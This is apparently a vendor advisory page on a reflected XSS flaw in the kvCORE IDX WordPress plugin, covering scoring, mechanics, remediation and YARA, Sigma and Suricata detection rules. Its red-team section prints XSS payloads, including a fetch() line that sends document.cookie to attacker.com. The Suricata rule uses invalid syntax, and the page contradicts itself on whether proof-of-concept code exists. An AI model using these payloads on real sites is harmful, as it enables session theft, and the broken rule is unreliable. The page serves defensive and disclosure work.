CVE-2024-11723
Executive Summary
CVE-2024-11723 is a reflected Cross-Site Scripting (XSS) vulnerability in the kvCORE IDX plugin for WordPress, affecting all versions up to and including 2.3.35. The flaw arises from insufficient input sanitization and output escaping on any parameter passed to pages that include the kvcoreidx_listings_sitemap_ranges, kvcoreidx_listings_sitemap_page, kvcoreidx_agent_profile_sitemap, or kvcoreidx_agent_profile shortcodes. An unauthenticated attacker can inject arbitrary web scripts that execute in the context of a victim’s browser if the victim clicks a crafted link. The CVSS score is 6.1 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation at this time. No public proof-of-concept or patch details are available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the WordPress plugin repository. Users should verify plugin integrity via checksums and monitor for updates from the vendor (Kvcore). No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a link)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to the presence of shortcodes on many pages.
Deep Dive & Mechanics
The vulnerability resides in the kvCORE IDX plugin’s handling of shortcodes that generate sitemaps and agent profiles. When a page contains any of the following shortcodes:
kvcoreidx_listings_sitemap_rangeskvcoreidx_listings_sitemap_pagekvcoreidx_agent_profile_sitemapkvcoreidx_agent_profile
The plugin reflects user-supplied parameters (e.g., query string parameters) without proper sanitization or output escaping. An attacker can craft a URL such as:
https://victim-site.com/?page_id=123&malicious=<script>alert('XSS')</script>
If the page includes one of the vulnerable shortcodes, the injected script executes in the victim’s browser. The lack of input validation allows arbitrary HTML and JavaScript injection.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.3.35):
The plugin likely uses $_GET parameters directly in output without escaping. Example (pseudocode):
echo $_GET['param'];
Patched Code (hypothetical):
The fix would involve escaping output using WordPress functions like esc_html() or esc_attr():
echo esc_html($_GET['param']);
No official patch has been released as of this report.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with kvCORE IDX plugin <= 2.3.35.
- A page containing one of the vulnerable shortcodes.
Exploitation Steps:
- Identify a page with a vulnerable shortcode (e.g., via sitemap or agent profile).
- Craft a malicious URL with a payload in any parameter:
https://victim-site.com/?page_id=123&test=<script>alert(document.cookie)</script> - Send the link to a victim (e.g., via phishing email).
- When the victim clicks, the script executes in their browser.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defensive)
Detection:
- Monitor web server logs for unusual query parameters containing
<script>,onerror,onload, or other XSS indicators. - Use WAF rules to block reflected XSS patterns.
Hunting:
- Search for pages containing the vulnerable shortcodes and verify input handling.
- Review plugin source code for unsanitized
$_GETusage.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
<script>tags in query parameters on pages withkvcoreidx_listings_sitemap_ranges,kvcoreidx_listings_sitemap_page,kvcoreidx_agent_profile_sitemap, orkvcoreidx_agent_profileshortcodes. - Log Entries: HTTP requests with parameters like
?param=<script>alert(1)</script>. - Network Traffic: Outbound connections to attacker-controlled domains from victim browsers.
Detection Engineering
YARA Rule
rule CVE_2024_11723_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting kvCORE IDX plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-11723"
strings:
$shortcode1 = "kvcoreidx_listings_sitemap_ranges"
$shortcode2 = "kvcoreidx_listings_sitemap_page"
$shortcode3 = "kvcoreidx_agent_profile_sitemap"
$shortcode4 = "kvcoreidx_agent_profile"
$xss_payload = /<script[^>]*>.*<\/script>/i
condition:
any of ($shortcode*) and $xss_payload
}
Sigma Rule
title: Reflected XSS via kvCORE IDX Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against kvCORE IDX plugin shortcodes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- 'kvcoreidx_listings_sitemap_ranges'
- 'kvcoreidx_listings_sitemap_page'
- 'kvcoreidx_agent_profile_sitemap'
- 'kvcoreidx_agent_profile'
c-uri|re: '<script[^>]*>.*<\/script>'
condition: selection
falsepositives:
- Legitimate use of script tags in parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-11723 Reflected XSS in kvCORE IDX Plugin"; flow:to_server,established; content:"kvcoreidx_listings_sitemap_ranges" or content:"kvcoreidx_listings_sitemap_page" or content:"kvcoreidx_agent_profile_sitemap" or content:"kvcoreidx_agent_profile"; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not essential until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
- Restrict access to pages using vulnerable shortcodes via .htaccess or server config.
Long-Term Fix:
- Apply the vendor patch when available (monitor Kvcore’s update channel).
- Upgrade to a patched version (expected > 2.3.35).
- Conduct a code review of the plugin for similar issues.
Workarounds:
- Use WordPress security plugins (e.g., Wordfence) to add XSS protection.
- Manually escape output in the plugin code if you have developer access.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.